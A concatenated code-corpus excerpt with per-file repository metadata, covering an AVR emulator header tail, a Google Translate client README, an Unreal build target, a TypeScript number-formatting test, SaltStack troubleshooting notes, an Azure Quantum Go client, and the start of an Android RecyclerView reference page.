//INSTR(SES) ; => BSET
//INSTR(CLS) ; => BCLR
//INSTR(SEV) ; => BSET
//INSTR(CLV) ; => BCLR
//INSTR(SET) ; => BSET
//INSTR(CLT) ; => BCLR
//INSTR(SEH) ; => BSET
//INSTR(CLH) ; => BCLR
////////////////////////////////////////////////////////////////////////////////
// MCU Control Instructions
////////////////////////////////////////////////////////////////////////////////
INSTR(BREAK) ;
INSTR(NOP) ;
INSTR(SLEEP) ;
INSTR(WDR) ;
}
////////////////////////////////////////////////////////////////////////////////
// EOF
////////////////////////////////////////////////////////////////////////////////
|
MuellerA/AVRemu
|
source/instr.h
|
C
|
mit
| 5,161
|
Google Translation Module
=========================
This is a minimalistic API client for Google Translation API
Usage:
------
```python
from client import Google_Translate
c = Google_Translate('YOUR API KEY')
c.discover()
```
```python
from client import Google_Translate
c = Google_Translate('YOUR API KEY')
c.translate(q='This is a test'
source='en',
target='gl')
```
```python
from client import Google_Translate
c = Google_Translate('YOUR API KEY')
c.detect(q='This is a test')
```
|
Opus1no2/Google-Translation-Module
|
README.md
|
Markdown
|
mit
| 541
|
// Fill out your copyright notice in the Description page of Project Settings.
using UnrealBuildTool;
using System.Collections.Generic;
public class Chapter1Target : TargetRules
{
public Chapter1Target(TargetInfo Target)
{
Type = TargetType.Game;
}
//
// TargetRules interface.
//
public override void SetupBinaries(
TargetInfo Target,
ref List<UEBuildBinaryConfiguration> OutBuildBinaryConfigurations,
ref List<string> OutExtraModuleNames
)
{
OutExtraModuleNames.AddRange( new string[] { "Chapter1" } );
}
}
|
sunithshetty/Unreal-Engine-4-Scripting-with-CPlusPlus-Cookbook
|
Chapter01/Source/Chapter1.Target.cs
|
C#
|
mit
| 534
|
import { expect } from 'chai'
import * as numeral from 'numeral'
import 'numeral/locales/en-gb'
import { NumberFormatter } from 'utils/numberFormatter'
describe('NumberFormatter', () => {
numeral.locale('en-gb')
describe('formatMoney', () => {
it('format numeric value to money', () => {
expect(NumberFormatter.formatMoney(10.01)).to.eq('£10.01')
})
it('format numeric value to money without decimal places', () => {
expect(NumberFormatter.formatMoney(10)).to.eq('£10')
})
it('format numeric value to money without decimal places having .00', () => {
expect(NumberFormatter.formatMoney(10.00)).to.eq('£10')
})
})
})
|
hmcts/cmc-legal-rep-frontend
|
src/test/app/utils/numberFormatter.ts
|
TypeScript
|
mit
| 674
|
salt-troubleshoot
=================
Quick guide & my notes on troubling shooting salt.
Here are my quick go-to commands for trouble shooting salt issues.
## Gah, getting an error about tabs.
By far, the worst thing is somehow getting tabs in your sls files.
Find any files with tabs with this command, and then in sublime
text 2 do a ```View``` > ```Indentation``` > ```Convert Indentation
to Spaces```.
Command:
```bash
grep $'\t' -r --include "*.sls" .
```
## Running salt-minion in the foreground
If you're running into problems with the salt-minion failing to do
something I find it extremely helpful to run the salt-minion in the
foreground.
```bash
# Stop the minion
service salt-minion stop
# Run the minion in the foreground in debug mode
salt-minion -l debug
```
Then you can watch what happens when commands come across.
## salt-call on the minion
Sometimes its easier to run the commands on the minion while debugging,
so you can use the salt-call functionality:
```bash
salt-call test.ping
salt-call state.highstate
```
## Why are my states not being applied?
Sometimes you run into a problem with seeing what the salt master
is interpreting your SLS files as. I find these commands helpful:
```bash
# Show me the final top file:
salt '*' state.show_top
# Show me a specific salt sls file:
salt '*' state.show_sls example.state
```
Heck, pretty much everything in the
[state module docs](http://docs.saltstack.com/ref/modules/all/salt.modules.state.html)
is a gem.
## Pillar items!
Make sure you've refreshed your pillar items.
```bash
# Refresh Pillar Data on Minion
salt '*' saltutil.refresh_pillar
```
Show me my pillar values:
```bash
# List Pillar Values
salt '*' pillar.items
```
Can my minion get the pillar data correctly?
```bash
# From the minion
salt-call pillar.get string:to:pillar:data
```
## Grains!
Okay, what are the actual grain values:
```bash
# List grains
salt '*' grains.ls
```
|
JustinCarmony/salt-troubleshoot
|
README.md
|
Markdown
|
mit
| 1,945
|
package quantum
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License. See License.txt in the project root for license information.
//
// Code generated by Microsoft (R) AutoRest Code Generator.
// Changes may cause incorrect behavior and will be lost if the code is regenerated.
import (
"context"
"github.com/Azure/go-autorest/autorest"
"github.com/Azure/go-autorest/autorest/azure"
"github.com/Azure/go-autorest/tracing"
"net/http"
)
// WorkspaceClient is the client for the Workspace methods of the Quantum service.
type WorkspaceClient struct {
BaseClient
}
// NewWorkspaceClient creates an instance of the WorkspaceClient client.
func NewWorkspaceClient(subscriptionID string) WorkspaceClient {
return NewWorkspaceClientWithBaseURI(DefaultBaseURI, subscriptionID)
}
// NewWorkspaceClientWithBaseURI creates an instance of the WorkspaceClient client using a custom endpoint. Use this
// when interacting with an Azure cloud that uses a non-standard base URI (sovereign clouds, Azure stack).
func NewWorkspaceClientWithBaseURI(baseURI string, subscriptionID string) WorkspaceClient {
return WorkspaceClient{NewWithBaseURI(baseURI, subscriptionID)}
}
// CheckNameAvailability check the availability of the resource name.
// Parameters:
// locationName - location.
// checkNameAvailabilityParameters - the name and type of the resource.
func (client WorkspaceClient) CheckNameAvailability(ctx context.Context, locationName string, checkNameAvailabilityParameters CheckNameAvailabilityParameters) (result CheckNameAvailabilityResult, err error) {
if tracing.IsEnabled() {
ctx = tracing.StartSpan(ctx, fqdn+"/WorkspaceClient.CheckNameAvailability")
defer func() {
sc := -1
if result.Response.Response != nil {
sc = result.Response.Response.StatusCode
}
tracing.EndSpan(ctx, sc, err)
}()
}
req, err := client.CheckNameAvailabilityPreparer(ctx, locationName, checkNameAvailabilityParameters)
if err != nil {
err = autorest.NewErrorWithError(err, "quantum.WorkspaceClient", "CheckNameAvailability", nil, "Failure preparing request")
return
}
resp, err := client.CheckNameAvailabilitySender(req)
if err != nil {
result.Response = autorest.Response{Response: resp}
err = autorest.NewErrorWithError(err, "quantum.WorkspaceClient", "CheckNameAvailability", resp, "Failure sending request")
return
}
result, err = client.CheckNameAvailabilityResponder(resp)
if err != nil {
err = autorest.NewErrorWithError(err, "quantum.WorkspaceClient", "CheckNameAvailability", resp, "Failure responding to request")
return
}
return
}
// CheckNameAvailabilityPreparer prepares the CheckNameAvailability request.
func (client WorkspaceClient) CheckNameAvailabilityPreparer(ctx context.Context, locationName string, checkNameAvailabilityParameters CheckNameAvailabilityParameters) (*http.Request, error) {
pathParameters := map[string]interface{}{
"locationName": autorest.Encode("path", locationName),
"subscriptionId": autorest.Encode("path", client.SubscriptionID),
}
const APIVersion = "2019-11-04-preview"
queryParameters := map[string]interface{}{
"api-version": APIVersion,
}
preparer := autorest.CreatePreparer(
autorest.AsContentType("application/json; charset=utf-8"),
autorest.AsPost(),
autorest.WithBaseURL(client.BaseURI),
autorest.WithPathParameters("/subscriptions/{subscriptionId}/providers/Microsoft.Quantum/locations/{locationName}/checkNameAvailability", pathParameters),
autorest.WithJSON(checkNameAvailabilityParameters),
autorest.WithQueryParameters(queryParameters))
return preparer.Prepare((&http.Request{}).WithContext(ctx))
}
// CheckNameAvailabilitySender sends the CheckNameAvailability request. The method will close the
// http.Response Body if it receives an error.
func (client WorkspaceClient) CheckNameAvailabilitySender(req *http.Request) (*http.Response, error) {
return client.Send(req, azure.DoRetryWithRegistration(client.Client))
}
// CheckNameAvailabilityResponder handles the response to the CheckNameAvailability request. The method always
// closes the http.Response Body.
func (client WorkspaceClient) CheckNameAvailabilityResponder(resp *http.Response) (result CheckNameAvailabilityResult, err error) {
err = autorest.Respond(
resp,
azure.WithErrorUnlessStatusCode(http.StatusOK),
autorest.ByUnmarshallingJSON(&result),
autorest.ByClosing())
result.Response = autorest.Response{Response: resp}
return
}
|
Azure/azure-sdk-for-go
|
services/preview/quantum/mgmt/2019-11-04-preview/quantum/workspace.go
|
GO
|
mit
| 4,476
|
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no" />
<meta content="IE=edge" http-equiv="X-UA-Compatible">
<link rel="shortcut icon" type="image/x-icon" href="../../../../../favicon.ico" />
<title>RecyclerView.OnScrollListener - Android SDK | Android Developers</title>
<!-- STYLESHEETS -->
<link rel="stylesheet"
href="http://fonts.googleapis.com/css?family=Roboto+Condensed">
<link rel="stylesheet" href="http://fonts.googleapis.com/css?family=Roboto:light,regular,medium,thin,italic,mediumitalic,bold"
title="roboto">
<link href="../../../../../assets/css/default.css?v=7" rel="stylesheet" type="text/css">
<!-- FULLSCREEN STYLESHEET -->
<link href="../../../../../assets/css/fullscreen.css" rel="stylesheet" class="fullscreen"
type="text/css">
<!-- JAVASCRIPT -->
<script src="http://www.google.com/jsapi" type="text/javascript"></script>
<script src="../../../../../assets/js/android_3p-bundle.js" type="text/javascript"></script>
<script type="text/javascript">
var toRoot = "../../../../../";
var metaTags = [];
var devsite = false;
</script>
<script src="../../../../../assets/js/docs.js?v=6" type="text/javascript"></script>
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-5831155-1', 'android.com');
ga('create', 'UA-49880327-2', 'android.com', {'name': 'universal'}); // New tracker);
ga('send', 'pageview');
ga('universal.send', 'pageview'); // Send page view for new tracker.
</script>
</head>
<body class="gc-documentation
develop reference" itemscope itemtype="http://schema.org/Article">
<div id="doc-api-level" class="" style="display:none"></div>
<a name="top"></a>
<a name="top"></a>
<!-- dialog to prompt lang pref change when loaded from hardcoded URL
<div id="langMessage" style="display:none">
<div>
<div class="lang en">
<p>You requested a page in English, would you like to proceed with this language setting?</p>
</div>
<div class="lang es">
<p>You requested a page in Spanish (Español), would you like to proceed with this language setting?</p>
</div>
<div class="lang ja">
<p>You requested a page in Japanese (日本語), would you like to proceed with this language setting?</p>
</div>
<div class="lang ko">
<p>You requested a page in Korean (한국어), would you like to proceed with this language setting?</p>
</div>
<div class="lang ru">
<p>You requested a page in Russian (Русский), would you like to proceed with this language setting?</p>
</div>
<div class="lang zh-cn">
<p>You requested a page in Simplified Chinese (简体中文), would you like to proceed with this language setting?</p>
</div>
<div class="lang zh-tw">
<p>You requested a page in Traditional Chinese (繁體中文), would you like to proceed with this language setting?</p>
</div>
<a href="#" class="button yes" onclick="return false;">
<span class="lang en">Yes</span>
<span class="lang es">Sí</span>
<span class="lang ja">Yes</span>
<span class="lang ko">Yes</span>
<span class="lang ru">Yes</span>
<span class="lang zh-cn">是的</span>
<span class="lang zh-tw">没有</span>
</a>
<a href="#" class="button" onclick="$('#langMessage').hide();return false;">
<span class="lang en">No</span>
<span class="lang es">No</span>
<span class="lang ja">No</span>
<span class="lang ko">No</span>
<span class="lang ru">No</span>
<span class="lang zh-cn">没有</span>
<span class="lang zh-tw">没有</span>
</a>
</div>
</div> -->
<!-- Header -->
<div id="header-wrapper">
<div class="dac-header" id="header">
<div class="dac-header-inner">
<a class="dac-nav-toggle" data-dac-toggle-nav href="javascript:;" title="Open navigation">
<span class="dac-nav-hamburger">
<span class="dac-nav-hamburger-top"></span>
<span class="dac-nav-hamburger-mid"></span>
<span class="dac-nav-hamburger-bot"></span>
</span>
</a>
<a class="dac-header-logo" href="../../../../../index.html">
<img class="dac-header-logo-image" src="../../../../../assets/images/android_logo.png"
srcset="../../../../../assets/images/android_logo@2x.png 2x"
width="32" height="36" alt="Android" /> Developers
</a>
<ul class="dac-header-crumbs">
<li class="dac-header-crumbs-item"><span class="dac-header-crumbs-link current ">RecyclerView.OnScrollListener - Android SDK</a></li>
</ul>
<div class="dac-header-search" id="search-container">
<div class="dac-header-search-inner">
<div class="dac-sprite dac-search dac-header-search-btn" id="search-btn"></div>
<form class="dac-header-search-form" onsubmit="return submit_search()">
<input id="search_autocomplete" type="text" value="" autocomplete="off" name="q"
onfocus="search_focus_changed(this, true)" onblur="search_focus_changed(this, false)"
onkeydown="return search_changed(event, true, '../../../../../')"
onkeyup="return search_changed(event, false, '../../../../../')"
class="dac-header-search-input" placeholder="Search" />
<a class="dac-header-search-close hide" id="search-close">close</a>
</form>
</div><!-- end dac-header-search-inner -->
</div><!-- end dac-header-search -->
<div class="search_filtered_wrapper">
<div class="suggest-card reference no-display">
<ul class="search_filtered">
</ul>
</div>
<div class="suggest-card develop no-display">
<ul class="search_filtered">
</ul>
<div class="child-card guides no-display">
</div>
<div class="child-card training no-display">
</div>
<div class="child-card samples no-display">
</div>
</div>
<div class="suggest-card design no-display">
<ul class="search_filtered">
</ul>
</div>
<div class="suggest-card distribute no-display">
<ul class="search_filtered">
</ul>
</div>
</div>
<a class="dac-header-console-btn" href="https://play.google.com/apps/publish/">
<span class="dac-sprite dac-google-play"></span>
<span class="dac-visible-desktop-inline">Developer</span>
Console
</a>
</div><!-- end header-wrap.wrap -->
</div><!-- end header -->
<div id="searchResults" class="wrap" style="display:none;">
<h2 id="searchTitle">Results</h2>
<div id="leftSearchControl" class="search-control">Loading...</div>
</div>
</div> <!--end header-wrapper -->
<!-- Navigation-->
<nav class="dac-nav">
<div class="dac-nav-dimmer" data-dac-toggle-nav></div>
<ul class="dac-nav-list" data-dac-nav>
<li class="dac-nav-item dac-nav-head">
<a class="dac-nav-link dac-nav-logo" data-dac-toggle-nav href="javascript:;" title="Close navigation">
<img class="dac-logo-image" src="../../../../../assets/images/android_logo.png"
srcset="../../../../../assets/images/android_logo@2x.png 2x"
width="32" height="36" alt="Android" /> Developers
</a>
</li>
<li class="dac-nav-item home">
<a class="dac-nav-link dac-visible-mobile-block" href="../../../../../index.html">Home</a>
<ul class="dac-nav-secondary about">
<li class="dac-nav-item about">
<a class="dac-nav-link" href="../../../../../about/index.html">Android</a>
</li>
<li class="dac-nav-item wear">
<a class="dac-nav-link" href="../../../../../wear/index.html">Wear</a>
</li>
<li class="dac-nav-item tv">
<a class="dac-nav-link" href="../../../../../tv/index.html">TV</a>
</li>
<li class="dac-nav-item auto">
<a class="dac-nav-link" href="../../../../../auto/index.html">Auto</a>
</li>
</ul>
</li>
<li class="dac-nav-item design">
<a class="dac-nav-link" href="../../../../../design/index.html"
zh-tw-lang="設計"
zh-cn-lang="设计"
ru-lang="Проектирование"
ko-lang="디자인"
ja-lang="設計"
es-lang="Diseñar">Design</a>
</li>
<li class="dac-nav-item develop">
<a class="dac-nav-link" href="../../../../../develop/index.html"
zh-tw-lang="開發"
zh-cn-lang="开发"
ru-lang="Разработка"
ko-lang="개발"
ja-lang="開発"
es-lang="Desarrollar">Develop</a>
<ul class="dac-nav-secondary develop">
<li class="dac-nav-item training">
<a class="dac-nav-link" href="../../../../../training/index.html"
zh-tw-lang="訓練課程"
zh-cn-lang="培训"
ru-lang="Курсы"
ko-lang="교육"
ja-lang="トレーニング"
es-lang="Capacitación">Training</a>
</li>
<li class="dac-nav-item guide">
<a class="dac-nav-link" href="../../../../../guide/index.html"
zh-tw-lang="API 指南"
zh-cn-lang="API 指南"
ru-lang="Руководства по API"
ko-lang="API 가이드"
ja-lang="API ガイド"
es-lang="Guías de la API">API Guides</a>
</li>
<li class="dac-nav-item reference">
<a class="dac-nav-link" href="../../../../../reference/packages.html"
zh-tw-lang="參考資源"
zh-cn-lang="参考"
ru-lang="Справочник"
ko-lang="참조문서"
ja-lang="リファレンス"
es-lang="Referencia">Reference</a>
</li>
<li class="dac-nav-item tools">
<a class="dac-nav-link" href="../../../../../sdk/index.html"
zh-tw-lang="相關工具"
zh-cn-lang="工具"
ru-lang="Инструменты"
ko-lang="도구"
ja-lang="ツール"
es-lang="Herramientas">Tools</a></li>
<li class="dac-nav-item google">
<a class="dac-nav-link" href="../../../../../google/index.html">Google Services</a>
</li>
<li class="dac-nav-item preview">
<a class="dac-nav-link" href="../../../../../preview/index.html">Preview</a>
</li>
</ul>
</li>
<li class="dac-nav-item distribute">
<a class="dac-nav-link" href="../../../../../distribute/googleplay/index.html"
zh-tw-lang="發佈"
zh-cn-lang="分发"
ru-lang="Распространение"
ko-lang="배포"
ja-lang="配布"
es-lang="Distribuir">Distribute</a>
<ul class="dac-nav-secondary distribute">
<li class="dac-nav-item googleplay">
<a class="dac-nav-link" href="../../../../../distribute/googleplay/index.html">Google Play</a></li>
<li class="dac-nav-item essentials">
<a class="dac-nav-link" href="../../../../../distribute/essentials/index.html">Essentials</a></li>
<li class="dac-nav-item users">
<a class="dac-nav-link" href="../../../../../distribute/users/index.html">Get Users</a></li>
<li class="dac-nav-item engage">
<a class="dac-nav-link" href="../../../../../distribute/engage/index.html">Engage & Retain</a></li>
<li class="dac-nav-item monetize">
<a class="dac-nav-link" href="../../../../../distribute/monetize/index.html">Earn</a>
</li>
<li class="dac-nav-item analyze">
<a class="dac-nav-link" href="../../../../../distribute/analyze/index.html">Analyze</a>
</li>
<li class="dac-nav-item stories">
<a class="dac-nav-link" href="../../../../../distribute/stories/index.html">Stories</a>
</li>
</ul>
</li>
</ul>
</nav>
<!-- end navigation-->
<div class="wrap clearfix" id="body-content"><div class="cols">
<div class="col-4 dac-hidden-mobile" id="side-nav" itemscope itemtype="http://schema.org/SiteNavigationElement">
<div id="devdoc-nav">
<div id="api-nav-header">
<div id="api-level-toggle">
<label for="apiLevelCheckbox" class="disabled"
title="Select your target API level to dim unavailable APIs">API level: </label>
<div class="select-wrapper">
<select id="apiLevelSelector">
<!-- option elements added by buildApiLevelSelector() -->
</select>
</div>
</div><!-- end toggle -->
<div id="api-nav-title">Android APIs</div>
</div><!-- end nav header -->
<script>
var SINCE_DATA = [ '1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23' ];
buildApiLevelSelector();
</script>
<div id="swapper">
<div id="nav-panels">
<div id="resize-packages-nav">
<div id="packages-nav" class="scroll-pane">
<ul>
<li class="api apilevel-1">
<a href="../../../../../reference/android/package-summary.html">android</a></li>
<li class="api apilevel-4">
<a href="../../../../../reference/android/accessibilityservice/package-summary.html">android.accessibilityservice</a></li>
<li class="api apilevel-5">
<a href="../../../../../reference/android/accounts/package-summary.html">android.accounts</a></li>
<li class="api apilevel-11">
<a href="../../../../../reference/android/animation/package-summary.html">android.animation</a></li>
<li class="api apilevel-16">
<a href="../../../../../reference/android/annotation/package-summary.html">android.annotation</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/app/package-summary.html">android.app</a></li>
<li class="api apilevel-8">
<a href="../../../../../reference/android/app/admin/package-summary.html">android.app.admin</a></li>
<li class="api apilevel-23">
<a href="../../../../../reference/android/app/assist/package-summary.html">android.app.assist</a></li>
<li class="api apilevel-8">
<a href="../../../../../reference/android/app/backup/package-summary.html">android.app.backup</a></li>
<li class="api apilevel-21">
<a href="../../../../../reference/android/app/job/package-summary.html">android.app.job</a></li>
<li class="api apilevel-21">
<a href="../../../../../reference/android/app/usage/package-summary.html">android.app.usage</a></li>
<li class="api apilevel-3">
<a href="../../../../../reference/android/appwidget/package-summary.html">android.appwidget</a></li>
<li class="api apilevel-5">
<a href="../../../../../reference/android/bluetooth/package-summary.html">android.bluetooth</a></li>
<li class="api apilevel-21">
<a href="../../../../../reference/android/bluetooth/le/package-summary.html">android.bluetooth.le</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/content/package-summary.html">android.content</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/content/pm/package-summary.html">android.content.pm</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/content/res/package-summary.html">android.content.res</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/database/package-summary.html">android.database</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/database/sqlite/package-summary.html">android.database.sqlite</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/databinding/package-summary.html">android.databinding</a></li>
<li class="api apilevel-11">
<a href="../../../../../reference/android/drm/package-summary.html">android.drm</a></li>
<li class="api apilevel-4">
<a href="../../../../../reference/android/gesture/package-summary.html">android.gesture</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/graphics/package-summary.html">android.graphics</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/graphics/drawable/package-summary.html">android.graphics.drawable</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/graphics/drawable/shapes/package-summary.html">android.graphics.drawable.shapes</a></li>
<li class="api apilevel-19">
<a href="../../../../../reference/android/graphics/pdf/package-summary.html">android.graphics.pdf</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/hardware/package-summary.html">android.hardware</a></li>
<li class="api apilevel-21">
<a href="../../../../../reference/android/hardware/camera2/package-summary.html">android.hardware.camera2</a></li>
<li class="api apilevel-21">
<a href="../../../../../reference/android/hardware/camera2/params/package-summary.html">android.hardware.camera2.params</a></li>
<li class="api apilevel-17">
<a href="../../../../../reference/android/hardware/display/package-summary.html">android.hardware.display</a></li>
<li class="api apilevel-23">
<a href="../../../../../reference/android/hardware/fingerprint/package-summary.html">android.hardware.fingerprint</a></li>
<li class="api apilevel-16">
<a href="../../../../../reference/android/hardware/input/package-summary.html">android.hardware.input</a></li>
<li class="api apilevel-12">
<a href="../../../../../reference/android/hardware/usb/package-summary.html">android.hardware.usb</a></li>
<li class="api apilevel-3">
<a href="../../../../../reference/android/inputmethodservice/package-summary.html">android.inputmethodservice</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/location/package-summary.html">android.location</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/media/package-summary.html">android.media</a></li>
<li class="api apilevel-9">
<a href="../../../../../reference/android/media/audiofx/package-summary.html">android.media.audiofx</a></li>
<li class="api apilevel-21">
<a href="../../../../../reference/android/media/browse/package-summary.html">android.media.browse</a></li>
<li class="api apilevel-14">
<a href="../../../../../reference/android/media/effect/package-summary.html">android.media.effect</a></li>
<li class="api apilevel-23">
<a href="../../../../../reference/android/media/midi/package-summary.html">android.media.midi</a></li>
<li class="api apilevel-21">
<a href="../../../../../reference/android/media/projection/package-summary.html">android.media.projection</a></li>
<li class="api apilevel-21">
<a href="../../../../../reference/android/media/session/package-summary.html">android.media.session</a></li>
<li class="api apilevel-21">
<a href="../../../../../reference/android/media/tv/package-summary.html">android.media.tv</a></li>
<li class="api apilevel-12">
<a href="../../../../../reference/android/mtp/package-summary.html">android.mtp</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/net/package-summary.html">android.net</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/net/http/package-summary.html">android.net.http</a></li>
<li class="api apilevel-16">
<a href="../../../../../reference/android/net/nsd/package-summary.html">android.net.nsd</a></li>
<li class="api apilevel-12">
<a href="../../../../../reference/android/net/rtp/package-summary.html">android.net.rtp</a></li>
<li class="api apilevel-9">
<a href="../../../../../reference/android/net/sip/package-summary.html">android.net.sip</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/net/wifi/package-summary.html">android.net.wifi</a></li>
<li class="api apilevel-14">
<a href="../../../../../reference/android/net/wifi/p2p/package-summary.html">android.net.wifi.p2p</a></li>
<li class="api apilevel-16">
<a href="../../../../../reference/android/net/wifi/p2p/nsd/package-summary.html">android.net.wifi.p2p.nsd</a></li>
<li class="api apilevel-9">
<a href="../../../../../reference/android/nfc/package-summary.html">android.nfc</a></li>
<li class="api apilevel-19">
<a href="../../../../../reference/android/nfc/cardemulation/package-summary.html">android.nfc.cardemulation</a></li>
<li class="api apilevel-10">
<a href="../../../../../reference/android/nfc/tech/package-summary.html">android.nfc.tech</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/opengl/package-summary.html">android.opengl</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/os/package-summary.html">android.os</a></li>
<li class="api apilevel-9">
<a href="../../../../../reference/android/os/storage/package-summary.html">android.os.storage</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/preference/package-summary.html">android.preference</a></li>
<li class="api apilevel-19">
<a href="../../../../../reference/android/print/package-summary.html">android.print</a></li>
<li class="api apilevel-19">
<a href="../../../../../reference/android/print/pdf/package-summary.html">android.print.pdf</a></li>
<li class="api apilevel-19">
<a href="../../../../../reference/android/printservice/package-summary.html">android.printservice</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/provider/package-summary.html">android.provider</a></li>
<li class="api apilevel-11">
<a href="../../../../../reference/android/renderscript/package-summary.html">android.renderscript</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/sax/package-summary.html">android.sax</a></li>
<li class="api apilevel-14">
<a href="../../../../../reference/android/security/package-summary.html">android.security</a></li>
<li class="api apilevel-23">
<a href="../../../../../reference/android/security/keystore/package-summary.html">android.security.keystore</a></li>
<li class="api apilevel-22">
<a href="../../../../../reference/android/service/carrier/package-summary.html">android.service.carrier</a></li>
<li class="api apilevel-23">
<a href="../../../../../reference/android/service/chooser/package-summary.html">android.service.chooser</a></li>
<li class="api apilevel-17">
<a href="../../../../../reference/android/service/dreams/package-summary.html">android.service.dreams</a></li>
<li class="api apilevel-21">
<a href="../../../../../reference/android/service/media/package-summary.html">android.service.media</a></li>
<li class="api apilevel-18">
<a href="../../../../../reference/android/service/notification/package-summary.html">android.service.notification</a></li>
<li class="api apilevel-21">
<a href="../../../../../reference/android/service/restrictions/package-summary.html">android.service.restrictions</a></li>
<li class="api apilevel-14">
<a href="../../../../../reference/android/service/textservice/package-summary.html">android.service.textservice</a></li>
<li class="api apilevel-21">
<a href="../../../../../reference/android/service/voice/package-summary.html">android.service.voice</a></li>
<li class="api apilevel-7">
<a href="../../../../../reference/android/service/wallpaper/package-summary.html">android.service.wallpaper</a></li>
<li class="api apilevel-3">
<a href="../../../../../reference/android/speech/package-summary.html">android.speech</a></li>
<li class="api apilevel-4">
<a href="../../../../../reference/android/speech/tts/package-summary.html">android.speech.tts</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/annotation/package-summary.html">android.support.annotation</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/app/recommendation/package-summary.html">android.support.app.recommendation</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/customtabs/package-summary.html">android.support.customtabs</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/design/package-summary.html">android.support.design</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/design/widget/package-summary.html">android.support.design.widget</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/multidex/package-summary.html">android.support.multidex</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/percent/package-summary.html">android.support.percent</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v13/app/package-summary.html">android.support.v13.app</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v14/preference/package-summary.html">android.support.v14.preference</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v17/leanback/package-summary.html">android.support.v17.leanback</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v17/leanback/app/package-summary.html">android.support.v17.leanback.app</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v17/leanback/database/package-summary.html">android.support.v17.leanback.database</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v17/leanback/graphics/package-summary.html">android.support.v17.leanback.graphics</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v17/leanback/system/package-summary.html">android.support.v17.leanback.system</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v17/leanback/widget/package-summary.html">android.support.v17.leanback.widget</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v17/preference/package-summary.html">android.support.v17.preference</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v4/accessibilityservice/package-summary.html">android.support.v4.accessibilityservice</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v4/animation/package-summary.html">android.support.v4.animation</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v4/app/package-summary.html">android.support.v4.app</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v4/content/package-summary.html">android.support.v4.content</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v4/content/pm/package-summary.html">android.support.v4.content.pm</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v4/content/res/package-summary.html">android.support.v4.content.res</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v4/database/package-summary.html">android.support.v4.database</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v4/graphics/package-summary.html">android.support.v4.graphics</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v4/graphics/drawable/package-summary.html">android.support.v4.graphics.drawable</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v4/hardware/display/package-summary.html">android.support.v4.hardware.display</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v4/hardware/fingerprint/package-summary.html">android.support.v4.hardware.fingerprint</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v4/media/package-summary.html">android.support.v4.media</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v4/media/session/package-summary.html">android.support.v4.media.session</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v4/net/package-summary.html">android.support.v4.net</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v4/os/package-summary.html">android.support.v4.os</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v4/print/package-summary.html">android.support.v4.print</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v4/provider/package-summary.html">android.support.v4.provider</a></li>
<li class="api apilevel-">
